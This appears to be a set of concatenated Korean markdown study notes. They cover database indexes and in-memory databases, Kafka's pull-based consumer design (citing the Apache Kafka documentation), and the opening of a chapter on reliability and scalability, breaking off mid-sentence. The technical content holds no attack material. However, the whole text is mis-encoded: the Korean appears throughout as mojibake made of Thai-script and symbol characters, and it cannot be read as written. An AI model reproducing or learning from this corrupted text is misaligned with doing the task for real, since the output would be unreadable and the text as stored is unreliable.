์ด๋Ÿฐ ๊ฒฝ์šฐ ๋ชจ๋“  ์ƒ‰์ธ์ด ์ƒˆ๋กœ์šด ํž™ ์œ„์น˜๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ๋” ๊ฐฑ์‹ ํ•˜๊ฑฐ๋‚˜ ์ด์ „ ํž™ ์œ„์น˜์— ์ „๋ฐฉํ–ฅ ํฌ์ธํ„ฐ๋ฅผ ๋‚จ๊ฒจ๋‘ฌ์•ผ ํ•œ๋‹ค. - ํด๋Ÿฌ์Šคํ„ฐ๋“œ ์ƒ‰์ธ(Clustered Index): ์ƒ‰์ธ์—์„œ ํž™ ํŒŒ์ผ๋กœ ๋‹ค์‹œ ์ด๋™ํ•˜๋Š” ๊ฒƒ์€ ์ฝ๊ธฐ ์„ฑ๋Šฅ์— ๋ถˆ์ด์ต์ด ๋งŽ์•„ ์–ด๋–ค ์ƒํ™ฉ์—์„œ๋Š” ๋ฐ”๋กœ ์ƒ‰์ธ๋œ ๋กœ์šฐ๋ฅผ ์ €์žฅํ•œ๋‹ค. - ์ปค๋ฒ„๋ง ์ƒ‰์ธ(Covering Index): Clustered Index์™€ Nonclustered Index์˜ ์ ˆ์ถฉ์•ˆ. ์ƒ‰์ธ ์•ˆ์— ์นผ๋Ÿผ์˜ ์ผ๋ถ€๋ฅผ ์ €์žฅ. ์ƒ‰์ธ๋งŒ ์‚ฌ์šฉํ•ด ์ผ๋ถ€ ์งˆ์˜์— ์‘๋‹ต์ด ๊ฐ€๋Šฅํ•˜๋‹ค. - ํด๋Ÿฌ์Šคํ„ฐ๋“œ ์ƒ‰์ธ๊ณผ ์ปค๋ฒ„๋ง ์ƒ‰์ธ์€ ์ฝ๊ธฐ ์„ฑ๋Šฅ์—” ์œ ๋ฆฌํ•˜์ง€๋งŒ ์ถ”๊ฐ€์ ์ธ ์ €์žฅ์†Œ๊ฐ€ ํ•„์š”ํ•˜๊ณ  ์“ฐ๊ธฐ ์˜ค๋ฒ„ํ—ค๋“œ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค. - ๋˜ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‹จ์—์„œ๋Š” ๋ณต์ œ๋กœ ์ธํ•œ ๋ถˆ์ผ์น˜๋ฅผ ํŒŒ์•…ํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ํŠธ๋žœ์žญ์…˜ ๋ณด์žฅ์„ ๊ฐ•ํ™”ํ•˜๊ธฐ ์œ„ํ•œ ๋ณ„๋„์˜ ๋…ธ๋ ฅ์ด ํ•„์š”ํ•˜๋‹ค. ### ๋‹ค์ค‘ ์นผ๋Ÿผ ์ƒ‰์ธ - ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์ธ ์œ ํ˜•์€ ๊ฒฐํ•ฉ ์ƒ‰์ธ(concatenated index)์ด๋‹ค. ํ•˜๋‚˜์˜ ์นผ๋Ÿผ์— ๋‹ค๋ฅธ ์นผ๋Ÿผ์„ ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ํ•˜๋‚˜์˜ ํ‚ค์— ์—ฌ๋Ÿฌ ํ•„๋“œ๋ฅผ ๋‹จ์ˆœ ๊ฒฐํ•ฉํ•œ๋‹ค. - ๋‹ค์ฐจ์› ์ƒ‰์ธ: ์—ฌ๋Ÿฌ ์นผ๋Ÿผ์— ์งˆ์˜ํ•˜๋Š” ๋” ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•. ํŠนํžˆ ์ง€๋ฆฌ๊ณต๊ฐ„ ๋ฐ์ดํ„ฐ์— ์ค‘์š”ํ•˜๊ฒŒ ์‚ฌ์šฉ๋œ๋‹ค. BํŠธ๋ฆฌ๋‚˜ LSM ํŠธ๋ฆฌ ์ƒ‰์ธ์€ ์ด์ฐจ์› ๋ฒ”์œ„ ์งˆ์˜์— ํšจ์œจ์ ์œผ๋กœ ์‘๋‹ตํ•  ์ˆ˜ ์—†๋‹ค. - ๋‹ค์ฐจ์› ์ƒ‰์ธ์˜ ํ™œ์šฉ์€ ์ง€๋ฆฌํ•™์ ์ธ ์œ„์น˜์—๋งŒ ๊ตญํ•œ๋˜์ง€ ์•Š๋Š”๋‹ค. ### ์ „๋ฌธ ๊ฒ€์ƒ‰๊ณผ ํผ์ง€ ์ƒ‰์ธ ์ง€๊ธˆ๊นŒ์ง€์˜ ์ƒ‰์ธ์€ ์ •ํ™•ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ‚ค์˜ ์ •ํ™•ํ•œ ๊ฐ’์ด๋‚˜ ์ •๋ ฌ๋œ ํ‚ค์˜ ๊ฐ’์˜ ๋ฒ”์œ„๋ฅผ ์งˆ์˜ํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•œ๋‹ค. ํ•˜์ง€๋งŒ ์ด๋Ÿฌํ•œ ์ƒ‰์ธ์œผ๋กœ๋Š” ์ฒ ์ž๊ฐ€ ํ‹€๋ฆฐ ๋‹จ์–ด์™€ ๊ฐ™์ด ์œ ์‚ฌํ•œ ํ‚ค์— ๋Œ€ํ•ด์„œ๋Š” ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์—†๋‹ค. ์ด์ฒ˜๋Ÿผ ์• ๋งค๋ชจํ˜ธํ•œ(fuzzy) ์งˆ์˜์—๋Š” ๋‹ค๋ฅธ ๊ธฐ์ˆ ์ด ํ•„์š”ํ•˜๋‹ค. ์ „๋ฌธ ๊ฒ€์ƒ‰ ์—”์ง„์€ ํŠน์ • ๋‹จ์–ด๋ฅผ ๊ฒ€์ƒ‰ํ•  ๋•Œ ๋™์˜์–ด๋กœ ์งˆ์˜๋ฅผ ํ™•์žฅํ•˜๊ณ , ๋‹จ์–ด์˜ ๋ฌธ๋ฒ•์  ํ™œ์šฉ์„ ๋ฌด์‹œํ•˜๊ณ  ๋™์ผํ•œ ๋ฌธ์„œ์—์„œ ์„œ๋กœ ์ธ์ ‘ํ•ด ๋‚˜ํƒ€๋‚œ ๋‹จ์–ด๋ฅผ ๊ฒ€์ƒ‰ํ•˜๊ฑฐ๋‚˜ ์–ธ์–ดํ•™์ ์œผ๋กœ ํ…์ŠคํŠธ๋ฅผ ๋ถ„์„ํ•ด ์‚ฌ์šฉํ•˜๋Š” ๋“ฑ ๋‹ค์–‘ํ•œ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•œ๋‹ค. ### ๋ชจ๋“  ๊ฒƒ์„ ๋ฉ”๋ชจ๋ฆฌ์— ๋ณด๊ด€ ์ด๋ฒˆ ์žฅ์—์„œ ์ง€๊ธˆ๊นŒ์ง€ ์„ค๋ช…ํ•œ ๊ตฌ์กฐ๋Š” ๋ชจ๋‘ ๋””์Šคํฌ ํ•œ๊ณ„์— ๋Œ€ํ•œ ํ•ด๊ฒฐ์ฑ…์ด๋‹ค. ๋””์Šคํฌ๋Š” ์ง€์†์„ฑ์ด ์žˆ๊ณ  ๋žจ๋ณด๋‹ค ๊ธฐ๊ฐ€๋ฐ”์ดํŠธ๋‹น ๊ฐ€๊ฒฉ์ด ๋” ์ €๋ ดํ•˜๋‹ค. ํ•˜์ง€๋งŒ ๋žจ์ด ์ €๋ ดํ•ด์ง์— ๋”ฐ๋ผ ๊ฐ€๊ฒฉ ๋…ผ์Ÿ์€ ์•ฝํ•ด์ง€๊ณ , ๋ฐ์ดํ„ฐ์…‹ ๋Œ€๋ถ€๋ถ„์ด ํฌ์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ๋ฉ”๋ชจ๋ฆฌ์— ์ „์ฒด๋ฅผ ๋ณด๊ด€ํ•˜๋Š” ๋ฐฉ์‹๋„ ๊ฝค ํ˜„์‹ค์ ์ด๋‹ค. ํ˜น์€ ์—ฌ๋Ÿฌ ์žฅ๋น„ ๊ฐ„ ๋ถ„์‚ฐํ•ด์„œ ๋ณด๊ด€ํ•  ์ˆ˜ ๋„ ์žˆ๋‹ค. ์ด๋Ÿฐ ์ด์œ ๋กœ ์ธ๋ฉ”๋ชจ๋ฆฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๊ฐœ๋ฐœ๋๋‹ค. ๋ฉค์บ์‹œ๋“œ : ์žฅ๋น„๊ฐ€ ์žฌ์‹œ์ž‘๋˜๋ฉด ๋ฐ์ดํ„ฐ ์†์‹ค์„ ํ—ˆ์šฉํ•˜๋Š” ์บ์‹œ ์šฉ๋„ ๋ฉค์บ์‹œ๋“œ์™€ ๋‹ฌ๋ฆฌ ๋‹ค๋ฅธ ์ธ๋ฉ”๋ชจ๋ฆฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ์ง€์†์„ฑ์„ ๋ชฉํ‘œ๋กœ ํ•œ๋‹ค. ์ด ๋ชฉํ‘œ๋ฅผ ๋‹ฌ์„ฑํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ํŠน์ˆ˜ ํ•˜๋“œ์›จ์–ด๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ๋””์Šคํฌ์— ๋ณ€๊ฒฝ ์‚ฌํ•ญ์˜ ๋กœ๊ทธ๋ฅผ ๊ธฐ๋กํ•˜๊ฑฐ๋‚˜ ๋””์Šคํฌ์— ์ฃผ๊ธฐ์ ์ธ ์Šค๋ƒ…์ˆ์„ ๊ธฐ๋กํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ์žฅ๋น„์— ์ธ๋ฉ”๋ชจ๋ฆฌ ์ƒํƒœ๋ฅผ ๋ณต์ œํ•˜๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค. ์ธ๋ฉ”๋ชจ๋ฆฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ์žฌ์‹œ์ž‘๋˜๋Š” ๊ฒฝ์šฐ ํŠน์ˆ˜ ํ•˜๋“œ์›จ์–ด๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š”๋‹ค๋ฉด ๋””์Šคํฌ๋‚˜ ๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•ด ๋ณต์ œ๋ณธ์—์„œ ์ƒํƒœ๋ฅผ ๋‹ค์‹œ ์ ์žฌํ•ด์•ผ ํ•œ๋‹ค. ๋””์Šคํฌ๋ฅผ ์‚ฌ์šฉํ•˜๋”๋ผ๋„ ๋””์Šคํฌ๋Š” ์ง€์†์„ฑ์„ ์œ„ํ•œ ์ถ”๊ฐ€ ์ „์šฉ ๋กœ๊ทธ๋กœ๋งŒ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์—ฌ์ „ํžˆ ์ธ๋ฉ”๋ชจ๋ฆฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์ด๋‹ค. ๋””์Šคํฌ์— ๊ธฐ๋กํ•˜๋Š” ๋ฐฉ์‹์€ ๋ฐฑ์—…์ด ๊ฐ€๋Šฅํ•˜๊ณ  ์™ธ๋ถ€ ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ํ†ตํ•ด ๊ฒ€์‚ฌ์™€ ๋ถ„์„์„ ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ด์ ๋„ ์žˆ๋‹ค. ๋ณผํŠธ DB, MemSQL, Oracle TimesTen -> ๊ด€๊ณ„ํ˜• ๋ชจ๋ธ์˜ ์ธ๋ฉ”๋ชจ๋ฆฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค RamCloud -> ์ง€์†์„ฑ์žˆ๋Š” ์˜คํ”ˆ์†Œ์Šค ์ธ๋ฉ”๋ชจ๋ฆฌ ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ Redis, CouchBase -> ๋น„๋™๊ธฐ๋กœ ๋””์Šคํฌ์— ๊ธฐ๋กํ•˜์—ฌ ์•ฝํ•œ ์ง€์†์„ฑ์„ ์ œ๊ณต ์ธ๋ฉ”๋ชจ๋ฆฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ๋””์Šคํฌ ๊ธฐ๋ฐ˜ ์ƒ‰์ธ์œผ๋กœ ๊ตฌํ˜„ํ•˜๊ธฐ ์–ด๋ ค์šด ๋ฐ์ดํ„ฐ ๋ชจ๋ธ์„ ์ œ๊ณตํ•œ๋‹ค. ๋˜ํ•œ ๋ฉ”๋ชจ๋ฆฌ์— ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ง€ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ตฌํ˜„์ด ๋น„๊ต์  ๊ฐ„๋‹จํ•˜๋‹ค. ์ตœ๊ทผ ์—ฐ๊ตฌ์— ๋”ฐ๋ฅด๋จ„ ์ธ๋ฉ”๋ชจ๋ฆฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์•„ํ‚คํ…์ฒ˜๊ฐ€ ๋””์Šคํฌ ์ค‘์‹ฌ ์•„ํ‚คํ…์ฒ˜์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์˜ค๋ฒ„ํ—ค๋“œ ์—†์ด ๊ฐ€์šฉํ•œ ๋ฉ”๋ชจ๋ฆฌ๋ณด๋‹ค ๋” ํฐ ๋ฐ์ดํ„ฐ์…‹์„ ์ง€์›ํ•˜๊ฒŒ๋” ํ™•์žฅํ•  ์ˆ˜ ์žˆ๋‹ค. - ์•ˆํ‹ฐ์บ์‹ฑ: ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ์ถฉ๋ถ„ํ•˜์ง€ ์•Š์„ ๋•Œ ๊ฐ€์žฅ ์ตœ๊ทผ์— ์‚ฌ์šฉํ•˜์ง€ ์•Š์€ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ๋””์Šคํฌ๋กœ ๋‚ด๋ณด๋‚ด๊ณ  ๋‚˜์ค‘์— ํ•„์š”์‹œ ๋‹ค์‹œ ๋ฉ”๋ชจ๋ฆฌ์— ์ ์žฌ ``` kafka_consumer_design_push_vs_pull.md ```# Kafka Consumer Design : Push vs Pull ์นดํ”„์นด๋Š” ํ”„๋กœ๋“€์„œ๊ฐ€ ๋ธŒ๋กœ์ปค๋กœ ๋ฉ”์‹œ์ง€๋ฅผ ํ‘ธ์‹œํ•˜๊ณ  ์ปจ์Šˆ๋จธ๊ฐ€ ๋ฉ”์‹œ์ง€๋ฅผ ๊ฐ€์ ธ๊ฐ€๋Š” Pull ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์ด๋‹ค. - Scribe, Apache Flume๊ณผ ๊ฐ™์€ ์‹œ์Šคํ…œ์€ ๋ฐ˜๋Œ€๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ๋‹ค์šด์ŠคํŠธ๋ฆผ์œผ๋กœ ํ‘ธ์‹œํ•˜๋Š” ์‹œ์Šคํ…œ ## Push ์‹œ์Šคํ…œ์˜ ๋‹จ์  - Push ๊ธฐ๋ฐ˜์˜ ์‹œ์Šคํ…œ์€ ๋ธŒ๋กœ์ปค๊ฐ€ ๋ฐ์ดํ„ฐ๊ฐ€ ์ „์†ก ์†๋„๋ฅผ ์กฐ์ ˆํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์—ฌ๋Ÿฌ ์ปจ์Šˆ๋จธ๋ฅผ ๋‹ค๋ฃจ๋Š”๋ฐ ์–ด๋ ค์›€์ด ์žˆ๋‹ค. - ์ผ๋ฐ˜์ ์œผ๋กœ ์ปจ์Šˆ๋จธ๊ฐ€ ๊ฐ€๋Šฅํ•œ ์ตœ๋Œ€์˜ ์†๋„๋กœ ๋ฉ”์‹œ์ง€๋ฅผ ์ปจ์Šˆ๋ฐ ํ•˜๋Š” ๊ฒƒ์ด ๋ชฉํ‘œ์ด๋‹ค. - ํ•˜์ง€๋งŒ, push ์‹œ์Šคํ…œ์—์„œ๋Š” ์ปจ์Šˆ๋จธ๋Š” ์ปจ์Šˆ๋ฐ ์†๋„๊ฐ€ ํ”„๋กœ๋•์…˜ ์†๋„๋ฅผ ๋”ฐ๋ผ์žก์ง€ ๋ชปํ•˜๋Š” ๊ฒฝํ–ฅ์ด ์žˆ๋‹ค.(ํŠนํžˆ DoS ๊ณผ ๊ฐ™์€ ๊ฒฝ์šฐ) ## Pull ์‹œ์Šคํ…œ์˜ ์žฅ์  - Pull ๊ธฐ๋ฐ˜์˜ ์‹œ์Šคํ…œ์€ ์ปจ์Šˆ๋จธ๊ฐ€ ๋ฉ”์‹œ์ง€๋ฅผ ์ปจ์Šˆ๋ฐํ•˜๋Š” ์†๋„๊ฐ€ ๋’ค์ณ์ง€๋”๋ผ๋„ ๋‚˜์ค‘์— ๋”ฐ๋ผ์žก์œผ๋ฉด ๋œ๋‹ค๋Š” ์žฅ์ ์ด ์žˆ๋‹ค. - ๋’ค์ณ์ง€๋Š” ๊ฒƒ์€ lag๋ฅผ ํ†ตํ•ด ์•Œ ์ˆ˜ ์žˆ๋‹ค. - ๋ฐ์ดํ„ฐ๋ฅผ batching ์—ญํ• ์„ ์ปจ์Šˆ๋จธ๊ฐ€ ํ•œ๋‹ค. - Push ๊ธฐ๋ฐ˜์˜ ์‹œ์Šคํ…œ์€ ์š”์ฒญ์„ ์ฆ‰์‹œ ๋ณด๋‚ด๊ฑฐ๋‚˜ ํ˜น์€ ๋‹ค์šด์ŠคํŠธ๋ฆผ ์ปจ์Šˆ๋จธ๊ฐ€ ์ฆ‰์‹œ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์„์ง€ ๋ฌด๊ด€ํ•˜๊ฒŒ ๋ฐ์ดํ„ฐ๋ฅผ ๋ชจ์•˜๋‹ค๊ฐ€ ๋‚˜์ค‘์— ์ „์†กํ•œ๋‹ค. ๋‚ฎ์€ ๋ ˆ์ดํ„ด์‹œ๋ฅผ ์œ„ํ•ด ์„ค์ •๋˜์–ด ํ•œ๋ฒˆ์— ํ•˜๋‚˜์˜ ๋ฉ”์‹œ์ง€๋งŒ ๋ณด๋‚ด๊ฒŒ ๋˜๋ฉด ๊ฒฐ๊ตญ ๋ฐ์ดํ„ฐ๋Š” ๋‹จ์ง€ ์ „์†ก๋งŒ์„ ์œ„ํ•ด ๋ฒ„ํผ ๋˜์–ด ์žˆ๊ฒŒ ๋˜๊ณ  ์ด๋Š” ๋‚ญ๋น„๋กœ ์ด์–ด์ง„๋‹ค. - Pull ๊ธฐ๋ฐ˜์˜ ์‹œ์Šคํ…œ์€ ์ปจ์Šˆ๋จธ๊ฐ€ ๋กœ๊ทธ์˜ ํ˜„์žฌ ํฌ์ง€์…˜ ์ดํ›„์— ๋ชจ๋“  ๊ฐ€๋Šฅํ•œ ๋ฉ”์‹œ์ง€๋“ค์„ ๊ฐ€์ ธ๊ฐ€๊ธฐ ๋•Œ๋ฌธ์— ์ด๋Ÿฌํ•œ ๋ฌธ์ œ์ ์„ ํ•ด๊ฒฐํ•œ๋‹ค. ๋”ฐ๋ผ์„œ ๋ถˆํ•„์š”ํ•œ ๋ ˆ์ดํ„ด์‹œ ์—†์ด๋„ ์ตœ์ ํ™”๋œ ๋ฐฐ์นญ ํšจ๊ณผ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค. ## ์นดํ”„์นด๋Š” Pull ์‹œ์Šคํ…œ์˜ ๋‹จ์ ์„ ์–ด๋–ป๊ฒŒ ๊ทน๋ณตํ–ˆ์„๊นŒ? - ๋ธŒ๋กœ์ปค์— ์•„๋ฌด๋Ÿฐ ๋ฐ์ดํ„ฐ๊ฐ€ ์—†์„ ๊ฒฝ์šฐ ์ปจ์Šˆ๋จธ๊ฐ€ ๋ฐ์ดํ„ฐ๊ฐ€ ๋„์ฐฉํ•˜๋Š” ๊ฒƒ์„ ๊ธฐ๋‹ค๋ฆฌ๋ฉฐ tight loop polling์„ ํ•˜๊ฒŒ ๋  ์ˆ˜ ์žˆ๋‹ค. - ์ด๋Ÿฐ ๋ฌธ์ œ๋ฅผ ๋ง‰๊ธฐ ์œ„ํ•ด pull ์š”์ฒญ์—๋Š” ๋ฐ์ดํ„ฐ๊ฐ€ ๋„์ฐฉํ•  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฌ๋Š” "long poll"์—์„œ ์ปจ์Šˆ๋จธ ์š”์ฒญ์„ ๋ง‰์„ ์ˆ˜ ์žˆ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์žˆ๋‹ค. ## end-to-end Pull ์‹œ์Šคํ…œ์€ ์–ด๋–จ๊นŒ? - ํ”„๋กœ๋“€์„œ๋Š” ๋กœ์ปฌ ๋กœ๊ทธ์— write๋ฅผ ํ•˜๊ณ , ๋ธŒ๋กœ์ปค๋Š” ์ด๋ฅผ ๊ฐ€์ ธ๊ฐ€๊ณ , ์ปจ์Šˆ๋จธ๋Š” ๋ธŒ๋กœ์ปค์—์„œ ๊ฐ€์ ธ๊ฐ„๋‹ค. - ์œ ์‚ฌํ•œ ์œ ํ˜•์œผ๋กœ "store-and-forward" ํ”„๋กœ๋“€์„œ๊ฐ€ ์ข…์ข… ์ œ์•ˆ๋œ๋‹ค - ํฅ๋ฏธ๋กญ์ง€๋งŒ ์ˆ˜์ฒœ๊ฐœ์˜ ํ”„๋กœ๋“€์„œ๊ฐ€ ์กด์žฌํ•  ์ˆ˜ ์žˆ๋Š” ์นดํ”„์นด์˜ ์œ ์ฆˆ์ผ€์ด์Šค์—๋Š” ์ ํ•ฉํ•˜์ง€ ์•Š๋‹ค. - ํฐ ๊ทœ๋ชจ๋กœ ์˜๊ตฌ ๋ฐ์ดํ„ฐ ์‹œ์Šคํ…œ์„ ์šด์˜ํ•˜๋Š” ๊ฒฝํ—˜์€ ์—ฌ๋Ÿฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๊ฑธ์นœ ์‹œ์Šคํ…œ ๋‚ด์˜ ์ˆ˜์ฒœ๊ฐœ์˜ ๋””์Šคํฌ์— ๊ด€์—ฌํ•˜๋Š” ๊ฒƒ๊ณผ ๊ฐ™์€ ๊ธฐ๋ถ„์„ ๋А๋ผ๊ฒŒ ํ–ˆ๊ณ , ์‹ค์ œ๋กœ ์‹œ์Šคํ…œ์„ ๋” ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์ง€ ์•Š์•˜๊ณ  ์šด์˜์„ ์–ด๋ ต๊ฒŒ๋งŒ ํ–ˆ๋‹ค. - ๊ทธ๋ฆฌ๊ณ  ์‹ค์ œ๋กœ ํ”„๋กœ๋“€์„œ์˜ persistence ์—†์ด๋„ ํฐ ๊ทœ๋ชจ์—์„œ ๊ฐ•๋ ฅํ•œ SLA๋กœ ํŒŒ์ดํ”„๋ผ์ธ์„ ์šด์˜ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ–ˆ๋‹ค. > ์›๋ฌธ : https://kafka.apache.org/documentation/#design_pull ``` 01.md ```# 01์žฅ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๊ณ  ํ™•์žฅ ๊ฐ€๋Šฅํ•˜๋ฉฐ ์œ ์ง€๋ณด์ˆ˜ํ•˜๊ธฐ ์‰ฌ์šด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ## ์‹ ๋ขฐ์„ฑ ํ•˜๋“œ์›จ์–ด๋‚˜ ์†Œํ”„ํŠธ์›จ์–ด ์‹ฌ์ง€์–ด ์ธ์ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋”๋ผ๋„ ์‹œ์Šคํ…œ์€ ์ง€์†์ ์œผ๋กœ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๋™์ž‘ํ•ด์•ผ ํ•œ๋‹ค. ๋ฌด์–ธ๊ฐ€ ์ž˜๋ชป๋˜๋”๋ผ๋„ ์ง€์†์ ์œผ๋กœ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๋™์ž‘ํ•จ - fault (๊ฒฐํ•จ) : ์ž˜๋ชป๋  ์ˆ˜ ์žˆ๋Š” ์ผ - fault-tolerant(๋‚ด๊ฒฐํ•จ์„ฑ) or resilient(ํƒ„๋ ฅ์„ฑ) : ๊ฒฐํ•จ์„ ์˜ˆ์ธกํ•˜๊ณ  ๋Œ€์ฒ˜ํ•  ์ˆ˜ ์žˆ๋Š” ์‹œ์Šคํ…œ - ๊ฒฐํ•จ != ์žฅ์•  - ์žฅ์•  : ์‚ฌ์šฉ์ž์—๊ฒŒ ์„œ๋น„์Šค๋ฅผ ์ œ๊ณตํ•˜์ง€ ๋ชปํ•˜๊ณ  ์„œ๋น„์Šค ์‹œ์Šคํ…œ ์ „์ฒด๊ฐ€ ๋ฉˆ์ถ˜ ๊ฒฝ์šฐ - ๊ฒฐํ•จ์ด ๋ฐœ์ƒํ•  ํ™•๋ฅ ์„ 0์œผ๋กœ ์ค„์ด๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅ ๋”ฐ๋ผ์„œ fault tolerantํ•˜๊ฒŒ ์‹œ์Šคํ…œ์„ ์„ค๊ณ„ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์ข‹๋‹ค. - ๊ณ ์˜์ ์œผ๋กœ ๊ฒฐํ•จ์„ ์œ ๋„ํ•˜์—ฌ ์‹œ์Šคํ…œ์˜ resilient๋ฅผ ์ง€์†์ ์œผ๋กœ ํ›ˆ๋ จํ•˜๊ณ  ํ…Œ์ŠคํŠธํ•˜์—ฌ ๊ฒฐํ•จ ๋ฐœ์ƒ ์‹œ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ž์‹ ๊ฐ์„ ๋†’์ธ ์‚ฌ๋ก€ -> ๋„ทํ”Œ๋ฆญ์Šค์˜ ์นด์˜ค์Šค ๋ชฝํ‚ค ### ํ•˜๋“œ์›จ์–ด ๊ฒฐํ•จ - ์†Œํ”„ํŠธ์›จ์–ด ๋‚ด๊ฒฐํ•จ์„ฑ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ํ•˜๋“œ์›จ์–ด ์ค‘๋ณต์„ฑ์„ ์ถ”๊ฐ€ํ•ด ์ „์ฒด ์žฅ๋น„์˜ ์†์‹ค์„ ๊ฒฌ๋”œ ์ˆ˜ ์žˆ๋Š” ์‹œ์Šคํ…œ์œผ๋กœ ์˜ฎ๊ฒจ๊ฐ€๊ณ  ์žˆ๋Š” ์ถ”์„ธ - ์ด๋ ‡๊ฒŒ ์šด์˜ํ•˜๋Š” ์‹œ์Šคํ…œ์€ ์žฅ๋น„ ์žฌ๋ถ€ํŒ… ๋“ฑ์˜ ๊ฒฝ์šฐ์—๋„ ์‹œ์Šคํ…œ ์ค‘๋‹จ ์—†์ด ์šด์˜ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์žฅ์ ์ด ์žˆ๋‹ค. ### ์†Œํ”„ํŠธ์›จ์–ด ์˜ค๋ฅ˜ - ๋น ๋ฅธ ํ•ด๊ฒฐ์ฑ…์ด ์—†๋‹ค. - ํ…Œ์ŠคํŠธ, ํ”„๋กœ์„ธ์Šค ๊ฒฉ๋ฆฌ, ์…€ํ”„ ํž๋ง ๋“ฑ์ด ๋ฌธ์ œ ํ•ด๊ฒฐ์— ๋„์›€์„ ์ค„ ์ˆ˜ ์žˆ๋‹ค. ### ์ธ์  ์˜ค๋ฅ˜ - ํ•˜๋“œ์›จ์–ด ๊ฒฐํ•จ์€ ์ค‘๋‹จ ์›์ธ์˜ 10 ~ 25%์— ๊ทธ์น˜๋Š” ๋ฐ˜๋ฉด ์šด์˜์ž์˜ ์„ค์ • ์˜ค๋ฅ˜๋Š” ์ค‘๋‹จ์˜ ์ฃผ์š” ์›์ธ - ์˜ค๋ฅ˜์˜ ๊ฐ€๋Šฅ์„ฑ์„ ์ตœ์†Œํ™” ํ•˜๋Š” ๋ฐฉํ–ฅ์œผ๋กœ ์‹œ์Šคํ…œ์„ ์„ค๊ณ„ - ์ƒŒ๋“œ๋ฐ•์Šค ์šด์˜ - ์ฒ ์ €ํ•œ ํ…Œ์ŠคํŠธ - ๋กค๋ฐฑ ์ œ๊ณต - ๋ชจ๋‹ˆํ„ฐ๋ง ## ํ™•์žฅ์„ฑ ์‹œ์Šคํ…œ์˜ ๋ฐ์ดํ„ฐ ์–‘, ํŠธ๋ž˜ํ”ฝ ์–‘, ๋ณต์žก๋„๊ฐ€ ์ฆ๊ฐ€ํ•˜๋ฉด์„œ ์ด๋ฅผ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ์ ์ ˆํ•œ ๋ฐฉ๋ฒ•์ด ์žˆ์–ด์•ผ ํ•œ๋‹ค. ์‹œ์Šคํ…œ์ด ํ˜„์žฌ ์•ˆ์ •์ ์ด๋ผ๊ณ  ํ•ด์„œ ๋ฏธ๋ž˜์—๋„ ์•ˆ์ •์ ์ผ ๊ฒƒ์ด๋ผ๋Š” ๋ณด์žฅ์€ ์—†๋‹ค. "X๋Š” ํ™•์žฅ ๊ฐ€๋Šฅํ•˜๋‹ค or ํ™•์žฅ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค"๋ผ๋Š” ๋ง์€ ์˜๋ฏธ๊ฐ€ ์—†๋‹ค. ํ™•์žฅ์„ฑ์„ ๋…ผํ•œ๋‹ค๋Š” ๊ฒƒ์€ 